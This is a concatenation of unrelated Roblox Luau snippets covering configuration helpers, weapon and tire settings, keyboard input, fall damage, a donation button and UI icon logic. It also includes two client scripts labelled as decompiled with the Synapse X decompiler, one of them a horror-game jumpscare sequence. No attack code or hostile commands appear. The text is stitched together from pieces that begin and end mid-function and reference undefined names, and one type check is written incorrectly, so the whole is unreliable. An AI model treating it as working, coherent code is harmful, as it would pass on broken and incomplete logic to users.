{__mode = "k"}) local function MakeEasyConfiguration(Configuration) if EasyConfigCache[Configuration] then return EasyConfigCache[Configuration] else local NewConfiguration = {} local function Get(ObjectName) return Configuration:FindFirstChild(ObjectName) end setmetatable(NewConfiguration, { __index = function(_, value) if not type(value) == "string" then error("Only Indexing with strings is supported with easyConfiguration", 2) end local loweredValue = value:lower() if loweredValue == "add" or loweredValue == "addvalue" then --[[ So they can do stuff like... Config.AddValue('IntValue', { Name = "PizzaEaten" Value = 0; }) --]] return function(valueType, values) local Object if values and values.Name and type(values.Name) == "string" then Object = Get(values.Name) if Object and Object.ClassName ~= valueType then print("[EasyConfiguration] - Invalid class '"..Object.ClassName.."' in configuration, being replaced by new data '"..valueType.."'"); Object:Destroy() Object = nil; end else error("[EasyConfiguration] - No values received in the add method of easy configuration. Please give a table of default properties including the name. ", 2) end if not Object then local newInstance = Instance.new(valueType) Modify(newInstance, values) newInstance.Parent = Configuration end end elseif loweredValue == "get" or loweredValue == "getvalue" then return function(name) return Get(name) end elseif loweredValue == "getcontainer" then return function(name) return Get(name) end else local Object = Configuration:FindFirstChild(value) if Object and AcceptableTypes[Object.ClassName] then return Object.Value else error("[EasyConfiguration] - " .. (Object and "Object '"..value.."' was a "..Type.getType(Object).." value, and not acceptable, so no return was given" or "Could not find Object '"..value.."' in the configuration"), 2) end end end; __newindex = function(_, value, newValue) if type(value) == "string" then local Object = Get(value) if Object and AcceptableTypes[Object.ClassName] then Object.Value = newValue; else error("[EasyConfiguration] - Value '" .. value .. "' was not accepted, or wasn't in the configuration", 2); end else error("[EasyConfiguration] - Index with a string") end end; }) EasyConfigCache[Configuration] = NewConfiguration return NewConfiguration; end end lib.Make = MakeEasyConfiguration; lib.MakeEasyConfiguration = MakeEasyConfiguration; return lib
-- Create class
local HandleDragging = {} HandleDragging.__index = HandleDragging
-- ^ Returns a table (group of data) containing all of the stage blocks
for i, checkpoint in pairs(checkpoint) do -- Looping through each checkpoint block in that table -- Any code inside of here will repeat for each checkpoint checkpoint.TeamColor = game.Team:FindFirstChild(checkpoint.Name).TeamColor checkpoint.BrickColor = game.Team:FindFirstChild(checkpoint.Name).TeamColor end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; local l__Main__1 = v1.GUI.Main; local u2 = false; local u3 = {}; local l__Format__4 = v1.Functions.Format; function Update() local v2 = v1.StatService.Get(); if not v2 then return; end; for v6, v7 in pairs(v1.Shared.Currency) do if v6 then else break; end; local v8 = v2[v6]; local v9 = l__Main__1.Right:FindFirstChild(v6); if not v9 then v9 = v1.Assets.UI.Main.Currency:Clone(); v9.Name = v6; v9.Icon.Image = v7.image; local l__gradient__10 = v7.gradient; l__gradient__10:Clone().Parent = v9.Amount; l__gradient__10:Clone().Parent = v9:FindFirstChild("UIStroke"); v9.LayoutOrder = 99999 - v7.order; if v6 == "Gems" then v9.Add.Visible = true; v1.GFX.Button(v9.Add); v9.Add.Activated:Connect(function() if not u2 then u2 = true; v1.Signal.Fire("Exlusive Shop Tab", "Gems"); u2 = false; end; end); end; v9.Parent = l__Main__1.Right; end; local v11 = u3[v6] or v8; if v11 < v8 then v1.Signal.Fire("Pop Up", v6, ("+%s %s"):format(l__Format__4.Short(v8 - v11), v6)); end; u3[v6] = v8; if v9 then v9.Amount.Text = 1000000 < v8 and l__Format__4.Short(v8) or l__Format__4.Commas(v8); end; end; end; for v12, v13 in ipairs(l__Main__1.Right:GetChildren()) do if not v12 then break; end; if v13.ClassName == "Frame" and v13:FindFirstChild("Amount") then v13:Destroy(); end; end; Update(); v1.Signal.Fired("Stat Changed"):Connect(function(p1) if v1.Shared.Currency[p1] then Update(); end; end);
--[[ Prevents welds from breaking/transforming when player uses the tool This recreates the EXACT weld every time This also prevents lag build up by clearing old welds, the tradition weld script just keeps making new ones, which can lead to weapons have crazy amounts of welds that dont work (I saw 6000 in a weapon once) ]]
--{{SETTINGS}} : SET ACCORDING TO MODULE'S ORGANIZATION.
local RandomOffset, FadeOutTime, FadeInTime, IndicatorLength = Settings.RandomOffset, Settings.FadeOutTime, Settings.FadeInTime, Settings.IndicatorLength local FadeOutInfo, FadeInInfo = Settings.FadeOutInfo, Settings.FadeInInfo local Colors, Sizes = Settings.Colors, Settings.Sizes return function (Victim : Model, Damage : NumberValue, Color : Color3, Size : UDim2, font : Enum.Font) if Victim then Color = Color or Color3.new(1) Size = Size or Sizes.Small Damage = tostring(Damage) or '0' font = font or script.Damage.Bill.T1.Font local DamageIndicator = script:WaitForChild("Damage"):Clone() DamageIndicator.Bill.Size = Size DamageIndicator.Parent, DamageIndicator.CFrame, DamageIndicator.Anchored = workspace, Victim:FindFirstChild("HumanoidRootPart").CFrame * CFrame.new(math.random(unpack(RandomOffset)), 0, 0), false DamageIndicator.Bill.T1.Text = ""..Damage; DamageIndicator.Bill.T1:FindFirstChild("Text").Text = ""..Damage DamageIndicator.Bill.T1.Font = font DamageIndicator.Bill.T1:WaitForChild("Text").Font = font local Tween = TweenService:Create(DamageIndicator.Bill.T1:FindFirstChild("Text"), TweenInfo.new(.5, FadeOutInfo.EasingStyle, FadeOutInfo.EasingDirection), {TextColor3 = Color}) Tween:Play(); Tween:Destroy(); task.delay(IndicatorLength, function() local Tween = TweenService:Create(DamageIndicator.Bill.T1:FindFirstChild("Text"), TweenInfo.new(1, FadeInInfo.EasingStyle, FadeInInfo.EasingDirection), {TextColor3 = Color3.fromRGB(255,255,255)}) Tween:Play(); Tween:Destroy(); task.delay(1, function() DamageIndicator:Destroy() end) end) local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.P = 10000 BodyVelocity.MaxForce = Vector3.new(0,4e4,0) BodyVelocity.Velocity = Vector3.new(0,20,0) BodyVelocity.Parent = DamageIndicator task.delay(.1, function() BodyVelocity:Destroy() end) end end
-- Add a button to prompt the pruchase of a DevProduct used for donations
local function addProduct(productId) local success, productInfo = pcall(function() return MarketplaceService:GetProductInfo(productId, Enum.InfoType.Product) end) if not success then warn(`Failed to get info for product {productId}`) return end local icon = productInfo.IconImageAssetId local price = productInfo.PriceInRobux local button = instances.ProductButton:Clone() button.LayoutOrder = price button.ImageLabel.Image = ASSET_TEMPLATE:format(icon) button.RobuxLabel.Text = ROBUX_TEMPLATE:format(price) button.Parent = leaderboardGui.ProductList :: any button.MouseButton1Click:Connect(function() MarketplaceService:PromptProductPurchase(player, productId) end) end local function initialize() -- Parent the leaderboard GUI to playerGui so that buttons inside it can be interacted with local adornee = leaderboardGui.Parent leaderboardGui.Parent = playerGui :: any leaderboardGui.Adornee = adornee for _, productId in donationProducts do addProduct(productId) end end initialize()
--[[ Boolean Keyboard:IsDown(keyCode) Boolean Keyboard:AreAllDown(keyCodes...) Boolean Keyboard:AreAnyDown(keyCodes...) Keyboard.KeyDown(keyCode) Keyboard.KeyUp(keyCode) --]]
local Keyboard = {} local userInput = game:GetService("UserInputService") function Keyboard:IsDown(keyCode) return userInput:IsKeyDown(keyCode) end function Keyboard:AreAllDown(...) for _,keyCode in pairs{...} do if (not userInput:IsKeyDown(keyCode)) then return false end end return true end function Keyboard:AreAnyDown(...) for _,keyCode in pairs{...} do if (userInput:IsKeyDown(keyCode)) then return true end end return false end function Keyboard:Start() end function Keyboard:Init() self.KeyDown = self.Shared.Event.new() self.KeyUp = self.Shared.Event.new() userInput.InputBegan:Connect(function(input, processed) if (processed) then return end if (input.UserInputType == Enum.UserInputType.Keyboard) then self.KeyDown:Fire(input.KeyCode) end end) userInput.InputEnded:Connect(function(input, processed) if (processed) then return end if (input.UserInputType == Enum.UserInputType.Keyboard) then self.KeyUp:Fire(input.KeyCode) end end) end return Keyboard
--// Hash: 35f867b00ea4ec34de0d47ea57231f2627f6d8eb2eec73edba6e9942300cf40838ab64f3a9b52cb729efa52d211b7cc2 -- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local v2 = game:GetService("ReplicatedStorage").Misc.Eyes:GetChildren(); v1.module_events = require(script.Parent.Parent.Module_Events); local l__TweenService__1 = game:GetService("TweenService"); function v1.stuff(p1, p2, p3) local u2 = p3; spawn(function() if p1.dead == true then return; end; if not u2 then u2 = math.random(1, 500); end; u2 = Random.new(u2); p1.camShaker:ShakeOnce(4, 15, 0.4, 1); p1.camShaker:ShakeOnce(2, 6, 0.6, 1); p1.camShaker:ShakeOnce(18, 0.5, 5, 20); p1.camShaker:ShakeOnce(3, 12, 5, 20); script.Music:Play(); l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), { FogEnd = 0, FogStart = 0, FogColor = Color3.new(0, 0.1, 0.1), Ambient = Color3.new(0, 0.219608, 0.243137) }):Play(); wait(1); p1.hideplayers = 1; game:GetService("Lighting").Ambience_Shade.Enabled = true; l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), { FogEnd = 60, FogStart = 15, FogColor = Color3.new(0, 0, 0) }):Play(); local l__LocalPlayer__3 = game.Players.LocalPlayer; local l__Character__4 = l__LocalPlayer__3.Character; local l__PrimaryPart__5 = l__Character__4.PrimaryPart; local l__LookVector__6 = p2.RoomStart.CFrame.LookVector; local v7 = Ray.new(p2.RoomStart.Position + Vector3.new(0, 1, 0), l__LookVector__6); local l__Jumpscare_Shade__8 = l__LocalPlayer__3.PlayerGui.MainUI.Jumpscare_Shade; l__Jumpscare_Shade__8.Visible = true; l__LocalPlayer__3.Character:SetPrimaryPartCFrame(CFrame.new(p2.RoomStart.CFrame.Position + l__LookVector__6 * 10, p2.RoomStart.CFrame.Position + l__LookVector__6 * 20)); wait(0.5); local v9 = game:GetService("ReplicatedStorage").Entities:WaitForChild("Shade"):Clone(); v9.CFrame = p1.cam.CFrame + Vector3.new(0, 1000, 0); local u3 = l__LookVector__6; local u4 = tick() + 4; task.delay(2, function() local u5 = nil; spawn(function() if u5 then game:GetService("ReplicatedStorage"):FindFirstChild("Bricks"):FindFirstChild("ShadeResult"):FireServer(u5); end; if u3 == l__LookVector__6 then u4 = tick() + math.random(30, 70) / 10; script.Sound.Pitch = math.random(100, 130) / 100; v9.WhisperWeird.Pitch = math.random(50, 70) / 100; else u4 = tick() + math.random(20, 40) / 10; script.Sound.Pitch = math.random(50, 70) / 100; v9.WhisperWeird.Pitch = math.random(100, 120) / 100; end; script.Sound.TimePosition = 0.2; script.Sound:Play(); u3 = -u3; local v10 = v7:ClosestPoint(l__LocalPlayer__3.Character.PrimaryPart.Position + Vector3.new(0, 2, 0) + u3 * 45); if v9.Parent == p1.cam then v9.BodyPosition.Position = v9.Position + Vector3.new(0, 100, 0); wait(0.5); v9.CFrame = CFrame.new(v10 + Vector3.new(0, 50, 0)); else v9.CFrame = CFrame.new(v10 + Vector3.new(0, 50, 0)); end; local v11 = 40 / (u4 - tick()); v9.BodyVelocity.Velocity = Vector3.new(0, 0, 0); v9.BodyPosition.Position = v10; wait(0.5); v9.BodyVelocity.Velocity = u3 * -v11; end); end); v9.Parent = p1.cam; for v12, v13 in pairs(v9:GetChildren()) do if v13:IsA("Sound") then v13:Play(); end; end; local u6 = false; local u7 = nil; u7 = l__LocalPlayer__3:GetAttributeChangedSignal("CurrentRoom"):Connect(function() u6 = true; u7:Disconnect(); end); while true do task.wait(0.016666666666666666); local l__Magnitude__14 = (v9.Position - l__PrimaryPart__5.Position).Magnitude; local l__Magnitude__15 = (l__PrimaryPart__5.Position - p2.RoomEnd.Position).Magnitude; local l__Magnitude__16 = (l__PrimaryPart__5.Position - p2.RoomEnd.Position).Magnitude; l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1); if math.random(1, 2) == 2 then local v17 = "rbxassetid://8681113503"; else v17 = "rbxassetid://8681113666"; end; l__Jumpscare_Shade__8.Static.Image = v17; l__Jumpscare_Shade__8.Static.ImageTransparency = 0.6 + l__Magnitude__14 / 80; l__Jumpscare_Shade__8.Eyes.Visible = false; l__Jumpscare_Shade__8.Overlay.Visible = false; if u6 then break; end; if l__Character__4.Humanoid.health < 0.1 then break; end; if l__Magnitude__14 < 30 then if math.random(1, 55) == 5 then l__Jumpscare_Shade__8.Overlay.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.Overlay.Visible = true; else l__Jumpscare_Shade__8.Overlay.Visible = false; end; if math.random(1, 45) == 5 then l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0); l__Jumpscare_Shade__8.Eyes.Visible = true; else l__Jumpscare_Shade__8.Eyes.Visible = false; end; end; if l__Magnitude__14 < 8 then v9.CFrame = v9.CFrame + Vector3.new(0, 50, 0); local u8 = true; spawn(function() if u8 then game:GetService("ReplicatedStorage"):FindFirstChild("Bricks"):FindFirstChild("ShadeResult"):FireServer(u8); end; if u3 == l__LookVector__6 then u4 = tick() + math.random(30, 70) / 10; script.Sound.Pitch = math.random(100, 130) / 100; v9.WhisperWeird.Pitch = math.random(50, 70) / 100; else u4 = tick() + math.random(20, 40) / 10; script.Sound.Pitch = math.random(50, 70) / 100; v9.WhisperWeird.Pitch = math.random(100, 120) / 100; end; script.Sound.TimePosition = 0.2; script.Sound:Play(); u3 = -u3; local v18 = v7:ClosestPoint(l__LocalPlayer__3.Character.PrimaryPart.Position + Vector3.new(0, 2, 0) + u3 * 45); if v9.Parent == p1.cam then v9.BodyPosition.Position = v9.Position + Vector3.new(0, 100, 0); wait(0.5); v9.CFrame = CFrame.new(v18 + Vector3.new(0, 50, 0)); else v9.CFrame = CFrame.new(v18 + Vector3.new(0, 50, 0)); end; local v19 = 40 / (u4 - tick()); v9.BodyVelocity.Velocity = Vector3.new(0, 0, 0); v9.BodyPosition.Position = v18; wait(0.5); v9.BodyVelocity.Velocity = u3 * -v19; end); script.SoundHurt:Play(); u8 = 1; for u8 = u8, 15 do task.wait(0.05); l__Jumpscare_Shade__8.Overlay.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.Overlay.Visible = true; l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1); if math.random(1, 2) == 2 then local v20 = "rbxassetid://8681113503"; else v20 = "rbxassetid://8681113666"; end; l__Jumpscare_Shade__8.Static.Image = v20; l__Jumpscare_Shade__8.Static.ImageTransparency = math.random(1, 5) / 10; l__Jumpscare_Shade__8.Eyes.Visible = true; if math.random(1, 2) == 2 then l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0); end; end; l__Jumpscare_Shade__8.Eyes.Visible = false; l__Jumpscare_Shade__8.Overlay.Visible = false; elseif u4 <= tick() then local u9 = false; spawn(function() if u9 then game:GetService("ReplicatedStorage"):FindFirstChild("Bricks"):FindFirstChild("ShadeResult"):FireServer(u9); end; if u3 == l__LookVector__6 then u4 = tick() + math.random(30, 70) / 10; script.Sound.Pitch = math.random(100, 130) / 100; v9.WhisperWeird.Pitch = math.random(50, 70) / 100; else u4 = tick() + math.random(20, 40) / 10; script.Sound.Pitch = math.random(50, 70) / 100; v9.WhisperWeird.Pitch = math.random(100, 120) / 100; end; script.Sound.TimePosition = 0.2; script.Sound:Play(); u3 = -u3; local v21 = v7:ClosestPoint(l__LocalPlayer__3.Character.PrimaryPart.Position + Vector3.new(0, 2, 0) + u3 * 45); if v9.Parent == p1.cam then v9.BodyPosition.Position = v9.Position + Vector3.new(0, 100, 0); wait(0.5); v9.CFrame = CFrame.new(v21 + Vector3.new(0, 50, 0)); else v9.CFrame = CFrame.new(v21 + Vector3.new(0, 50, 0)); end; local v22 = 40 / (u4 - tick()); v9.BodyVelocity.Velocity = Vector3.new(0, 0, 0); v9.BodyPosition.Position = v21; wait(0.5); v9.BodyVelocity.Velocity = u3 * -v22; end); u9 = 1; for u9 = u9, 4 do task.wait(0.05); l__Jumpscare_Shade__8.OverlayTurn.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.OverlayTurn.Visible = true; l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1); if math.random(1, 2) == 2 then local v23 = "rbxassetid://8681113503"; else v23 = "rbxassetid://8681113666"; end; l__Jumpscare_Shade__8.Static.Image = v23; l__Jumpscare_Shade__8.Static.ImageTransparency = 0.4; if math.random(1, 4) == 2 then l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0); l__Jumpscare_Shade__8.Eyes.Visible = true; else l__Jumpscare_Shade__8.Eyes.Visible = false; end; end; l__Jumpscare_Shade__8.Eyes.Visible = false; l__Jumpscare_Shade__8.Overlay.Visible = false; l__Jumpscare_Shade__8.OverlayTurn.Visible = false; end; end; p1.hideplayers = 0; script.Music:Stop(); script.Sound.Pitch = math.random(150, 170) / 100; script.Sound.TimePosition = 0.2; script.Sound:Play(); for v24 = 1, 2 do task.wait(0.05); l__Jumpscare_Shade__8.Overlay.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.Overlay.Visible = true; l__Jumpscare_Shade__8.Static.Position = UDim2.new(math.random(0, 1000) / 1000, 0, math.random(0, 1000) / 1000, 0); l__Jumpscare_Shade__8.Static.Rotation = 180 * math.random(0, 1); if math.random(1, 2) == 2 then local v25 = "rbxassetid://8681113503"; else v25 = "rbxassetid://8681113666"; end; l__Jumpscare_Shade__8.Static.Image = v25; l__Jumpscare_Shade__8.Static.ImageTransparency = math.random(1, 5) / 10; l__Jumpscare_Shade__8.Eyes.Visible = true; l__Jumpscare_Shade__8.Eyes.Position = UDim2.new(math.random(450, 550) / 1000, 0, math.random(450, 550) / 1000, 0); end; l__Jumpscare_Shade__8.Eyes.Visible = false; l__Jumpscare_Shade__8.Overlay.Visible = false; l__Jumpscare_Shade__8.Visible = false; v9:Destroy(); l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(5, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), { FogEnd = 2000, FogStart = 50 }):Play(); game:GetService("Lighting").Ambience_Shade.Enabled = false; end); end; return v1;
-- RCM Settings V
self.WeaponWeight = 4 -- Weapon weight must be enabled in the Config module self.ShellEjectionMod = true self.Holster = true self.HolsterPoint = "Torso" self.HolsterCFrame = CFrame.new(0.65,0.1,-0.8) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(75)) self.FlashChance = 4 -- 0 = no muzzle flash, 10 = Always muzzle flash return self
-- ROBLOX deviation: no annotation for "..." args
function getLabelPrinter(...): PrintLabel local strings: Array<string> = { ... } local maxLength = Array.reduce(strings, function(max, string_) return math.max(#string_, max) end, 0) return function(string_: string): string -- ROBLOX deviation: We need to throw an error since string.rep called for -- a negative repetition doesn't actually throw whereas upstream -- would throw if #string_ > maxLength then error("Cannot print label for string with length larger than the max allowed of " .. maxLength) end return string.format("%s: %s", string_, string.rep(" ", maxLength - #string_)) end end function matcherErrorMessage( hint: string, -- assertion returned from call to matcherHint generic: string, -- condition which correct value must fulfill specific: string? -- incorrect value returned from call to printWithType ): string if typeof(specific) == "string" then return string.format("%s\n\n%s: %s%s", hint, BOLD_WEIGHT("Matcher error"), generic, "\n\n" .. specific) else return string.format("%s\n\n%s: %s%s", hint, BOLD_WEIGHT("Matcher error"), generic, "") end end
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end Tool.Handle.Fire:Play() local launch = head.Position + 10 * v local missile = Pellet:clone() missile.CFrame = CFrame.new(launch,shootDirect) missile.Position = launch missile.Velocity = v * 200 local force = Instance.new("BodyForce") force.force = Vector3.new(0,98,0) force.Parent = missile missile.SnowballScript.Disabled = false missile.Parent = game.Workspace end function gunUp() Tool.GripPos = Vector3.new(0,0,0.8) end function gunOut() Tool.GripPos = Vector3.new(0,0,1) end function onEquipped() Tool.Handle.Fire:Stop() end function onUnequipped() Tool.Handle.Fire:Stop() end Tool.Equipped:connect(onEquipped) Tool.Unequipped:connect(onUnequipped) enabled = true function onActivated() if not enabled then return end enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit shootDirect = targetPos local reload = 0.1 gunUp() fire(lookAt, shootDirect) wait(reload) gunOut() wait(reload) enabled = true end script.Parent.Activated:connect(onActivated)
--[=[ Destroy the keyboard input capturer. ]=]
function Keyboard:Destroy() self._trove:Destroy() end return Keyboard
--local colors = {Color3.fromRGB(168,100,253), Color3.fromRGB(41,205,255), Color3.fromRGB(120,255,68), Color3.fromRGB(255,113,141), Color3.fromRGB(253,255,106)}; -- Module.
local _Confetti = {}; _Confetti.__index = _Confetti;
-- Make indexing nil enums error
getmetatable( Enums ).__index = function( self, index ) error( string.format("%s is not a valid member of %s", index, script:GetFullName()) ) end
-- Function to play an audio asset
AudioPlayer.playAudio = function(assetName) local audio = SoundService:FindFirstChild(assetName) if not audio then warn("Could not find audio asset: " .. assetName) return end if not audio.IsLoaded then audio.Loaded:Wait() end -- Setup a tween so the track starts quiet and then fades in to a normal volume audio.Volume = 0 audio.Looped = true local fadeTween = TweenService:Create(audio, TweenInfo.new(10), {Volume = .5}) audio:Play() -- Fade in the audio track fadeTween:Play() fadeTween.Completed:Connect(function(State) if State == Enum.PlaybackState.Completed then fadeTween:Destroy() end end) end return AudioPlayer
-- Gathers up all the scripts in the DevModule. We use the resulting array to -- enable all scripts in one step.
local function getDevModuleScripts(devModule: Instance): { BaseScript } local scripts = {} for _, descendant in ipairs(devModule:GetDescendants()) do if descendant.Parent == devModule then continue end if descendant:IsA("Script") or descendant:IsA("LocalScript") then table.insert(scripts, descendant) end end return scripts end
--- SonOfSevenless
local COOLDOWN = 0 local MP = 0 bin = script.Parent function TryToCast(player) -- returns true if player may cast this spell -- make sure this player has the wizard board stats local stats = player:findFirstChild("leaderstats") if stats == nil then return false end local mana = stats:findFirstChild("Mana") local level = stats:findFirstChild("Level") if mana == nil or level == nil then return false end if (mana.Value >= MP) then mana.Value = mana.Value - MP return true end return false end function teleportPlayer(pos) local player = game.Players.LocalPlayer if player == nil or player.Character == nil then return end local char = player.Character.HumanoidRootPart sound = Instance.new("Sound") sound.SoundId = "" sound.Parent = char sound.PlayOnRemove = true sound:remove() char.CFrame = CFrame.new(Vector3.new(pos.x, pos.y + 7, pos.z)) sound = Instance.new("Sound") sound.SoundId = "" sound.Parent = char sound.PlayOnRemove = true sound:remove() end enabled = true function onButton1Down(mouse) if not enabled then return end local player = game.Players.LocalPlayer if player == nil then return end --if TryToCast(player) == false then return end enabled = false mouse.Icon = "rbxasset://textures\\ArrowFarCursor.png" -- find the best cf local cf = mouse.Hit local v = cf.lookVector teleportPlayer(cf.p) wait(COOLDOWN) mouse.Icon = "rbxasset://textures\\ArrowCursor.png" enabled = true end function onSelected(mouse) mouse.Icon = "rbxasset://textures\\ArrowCursor.png" mouse.Button1Down:connect(function() onButton1Down(mouse) end) end bin.Selected:connect(onSelected)
--------------------------------------------------------------------------
local _WHEELTUNE = { --[[ SS6 Presets [Eco] WearSpeed = 1, TargetFriction = .7, MinFriction = .1, [Road] WearSpeed = 2, TargetFriction = .7, MinFriction = .1, [Sport] WearSpeed = 3, TargetFriction = .79, MinFriction = .1, ]] TireWearOn = true , --Friction and Wear FWearSpeed = 0.50 , FTargetFriction = .79 , FMinFriction = .1 , RWearSpeed = 0.50 , RTargetFriction = .79 , RMinFriction = .1 , --Tire Slip TCSOffRatio = 3/4 , WheelLockRatio = 1/1.2 , --SS6 Default = 1/4 WheelspinRatio = 1/1.15 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 100 , --SS6 Default = 1 RFrictionWeight = 100 , --SS6 Default = 1 FLgcyFrWeight = 100 , RLgcyFrWeight = 100 , FElasticity = 0 , --SS6 Default = .5 RElasticity = 0 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 0 , --SS6 Default = 1 RElastWeight = 0 , --SS6 Default = 1 FLgcyElWeight = 0 , RLgcyElWeight = 0 , --Wear Regen RegenSpeed = 3.6 --SS6 Default = 3.6 }
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
Auto = false; MuzzleOffset = Vector3.new(0, 0.625, 1.25); BaseDamage = 26; FireRate = 0.10 ; --In second ReloadTime = 2; --In second AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload Spread = 1.25; --In degree HeadshotEnabled = true; --Enable the gun to do extra damage on headshot HeadshotDamageMultiplier = 4; MouseIconID = "316279304"; HitSoundIDs = {186809061,186809249,186809250,186809252}; IdleAnimationID = 94242777; --Set to "nil" if you don't want to animate IdleAnimationSpeed = 1; FireAnimationID = 94332152; --Set to "nil" if you don't want to animate FireAnimationSpeed = 6; ReloadAnimationID = 95384819; ReloadAnimationSpeed = 3;
-- Variables
local damageHeight = getSetting("Damaging height") or 5 -- The height at which the player will start getting damaged at local lethalHeight = getSetting("Lethal height") or 14 -- The height at which the player will get killed game:GetService("Players").PlayerAdded:Connect(function (plr) plr.CharacterAdded:Connect(function (char) local root = char:WaitForChild("HumanoidRootPart") local humanoid = char:WaitForChild("Humanoid") if humanoid and root then local headHeight wait(3) -- Prevent the player from dying on spawn humanoid.FreeFalling:Connect(function (state) if state then headHeight = root.Position.Y elseif not state and headHeight ~= nil then pcall(function () local fell = headHeight - root.Position.Y if fell >= lethalHeight then humanoid.Health = 0 elseif fell >= damageHeight then humanoid.Health = humanoid.Health - math.floor(fell) end end) end end) end end) end)
-- BEHAVIOUR --Controller support
coroutine.wrap(function() -- Create PC 'Enter Controller Mode' Icon runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion local Icon = require(script.Parent) local controllerOptionIcon = Icon.new() :setName("_TopbarControllerOption") :setOrder(100) :setImage("rbxassetid://5278150942") :setRight() :setEnabled(false) :setTip("Controller mode") controllerOptionIcon.deselectWhenOtherIconSelected = false -- This decides what controller widgets and displays to show based upon their connected inputs -- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle -- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode local function determineDisplay() local mouseEnabled = userInputService.MouseEnabled local controllerEnabled = userInputService.GamepadEnabled local iconIsSelected = controllerOptionIcon.isSelected if mouseEnabled and controllerEnabled then -- Show icon controllerOptionIcon:setEnabled(true) elseif mouseEnabled and not controllerEnabled then -- Hide icon, disableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(false) controllerOptionIcon:deselect() elseif not mouseEnabled and controllerEnabled then -- Hide icon, _enableControllerMode controllerOptionIcon:setEnabled(false) IconController._enableControllerMode(true) end end userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay) userInputService.GamepadConnected:Connect(determineDisplay) userInputService.GamepadDisconnected:Connect(determineDisplay) determineDisplay() -- Enable/Disable Controller Mode when icon clicked local function iconClicked() local isSelected = controllerOptionIcon.isSelected local iconTip = (isSelected and "Normal mode") or "Controller mode" controllerOptionIcon:setTip(iconTip) IconController._enableControllerMode(isSelected) end controllerOptionIcon.selected:Connect(iconClicked) controllerOptionIcon.deselected:Connect(iconClicked) -- Hide/show topbar when indicator action selected in controller mode userInputService.InputBegan:Connect(function(input,gpe) if not IconController.controllerModeEnabled then return end if input.KeyCode == Enum.KeyCode.DPadDown then if not guiService.SelectedObject and checkTopbarEnabled() then IconController.setTopbarEnabled(true,false) end elseif input.KeyCode == Enum.KeyCode.ButtonB then IconController._previousSelectedObject = guiService.SelectedObject IconController._setControllerSelectedObject(nil) IconController.setTopbarEnabled(false,false) end input:Destroy() end) -- Setup overflow icons for alignment, detail in pairs(alignmentDetails) do if alignment ~= "mid" then local overflowName = "_overflowIcon-"..alignment local overflowIcon = Icon.new() :setImage(6069276526) :setName(overflowName) :setEnabled(false) detail.overflowIcon = overflowIcon overflowIcon.accountForWhenDisabled = true if alignment == "left" then overflowIcon:setOrder(math.huge) overflowIcon:setLeft() overflowIcon:set("dropdownAlignment", "right") elseif alignment == "right" then overflowIcon:setOrder(-math.huge) overflowIcon:setRight() overflowIcon:set("dropdownAlignment", "left") end overflowIcon.lockedSettings = { ["iconImage"] = true, ["order"] = true, ["alignment"] = true, } end end end)()
--[=[ @within TableUtil @function Zip @param ... table @return (iter: (t: table, k: any) -> (key: any?, values: table?), tbl: table, startIndex: any?) Returns an iterator that can scan through multiple tables at the same time side-by-side, matching against shared keys/indices. ```lua local t1 = {10, 20, 30, 40, 50} local t2 = {60, 70, 80, 90, 100} for key,values in TableUtil.Zip(t1, t2) do print(key, values) end --[[ Outputs: 1 {10, 60} 2 {20, 70} 3 {30, 80} 4 {40, 90} 5 {50, 100} --]] ``` ]=]
